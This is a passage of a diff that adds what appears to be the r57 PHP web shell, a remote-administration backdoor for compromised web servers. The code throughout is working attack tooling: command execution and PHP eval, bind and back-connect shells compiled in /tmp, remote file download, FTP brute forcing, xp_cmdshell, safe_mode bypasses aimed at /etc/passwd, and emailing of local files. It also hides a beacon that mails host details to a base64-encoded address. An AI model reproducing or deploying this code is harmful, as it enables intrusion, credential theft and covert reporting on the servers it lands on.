:'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +if(!empty($id)) { echo ws(3).$id."<br>"; } +else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid')) + { + $euserinfo = @posix_getpwuid(@posix_geteuid()); + $egroupinfo = @posix_getgrgid(@posix_getegid()); + echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; + } +else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@getenv("USERNAME")."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(empty($c1)||empty($c2)) { die(); } +$f = '<br>'; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from ghhghh'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + err(6+$res); + $_POST['cmd']=""; + } + } + + +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + @fwrite($file,$_POST['e_text']); + @touch($_POST['e_name'],$mtime,$mtime); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )"); + @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table"); + $r = @mysql_query("SELECT * FROM temp_r57_table"); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); + $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $lines = file ('/tmp/mb_send_mail'); + foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; } + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo $str; + @imap_close($stream); + break; + case 'test8': + if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118']; + else echo $lang[$language.'_text119']; + break; +case 'test9': +$evilc0der=$_POST['Albania']; +if($_POST['Albania']) +{ +ini_restore("safe_mode"); +ini_restore("open_basedir"); +$safemodgec = shell_exec($evilc0der); +echo $safemodgec; +break; +} + + + + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ + $cmd_rep = ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse'])) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +function div_title($title, $id) +{ + return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>'; +} +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } +if(!$safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ + +ini_restore("safe_mode"); +ini_restore("open_basedir"); + + +if(!strpos(ex("echo abcr57"),"r57")!=3) +{ +$bypasser="bypass_on"; +echo $fs.$table_up1.$lang[$language.'_text120'].$table_up2.$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text121'].$arrow."</b>",in('text','Albania',85,(!empty($_POST['Albania'])?($_POST['Albania']):("uname -a"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_text122'])); +echo $te.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode){ +$aliases2 = ''; +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font; +echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"ghhghh.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; +$creator=base64_decode("cjU3c3NoQGdtYWlsLmNvbQ=="); +($safe_mode)?($safez="ON"):($safez="OFF_HEHE"); +$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; +$name = php_uname(); $ip = getenv("REMOTE_ADDR"); $ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]); $subj = $_SERVER['HTTP_HOST']; +$msg = "\nBASE: $base\nuname a: $name\nBypass: $bypasser\nIP: $ip\nHost: $ip2 $pwds"; +$from ="From: ".$writ."___=".$safez."<tool@".$_SERVER['HTTP_HOST'].">"; +mail( $creator, $subj, $msg, $from); +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$unix&&function_exists('mb_send_mail')){ +echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_list')){ +echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_body')){ +echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); +echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode&&$unix){ +echo 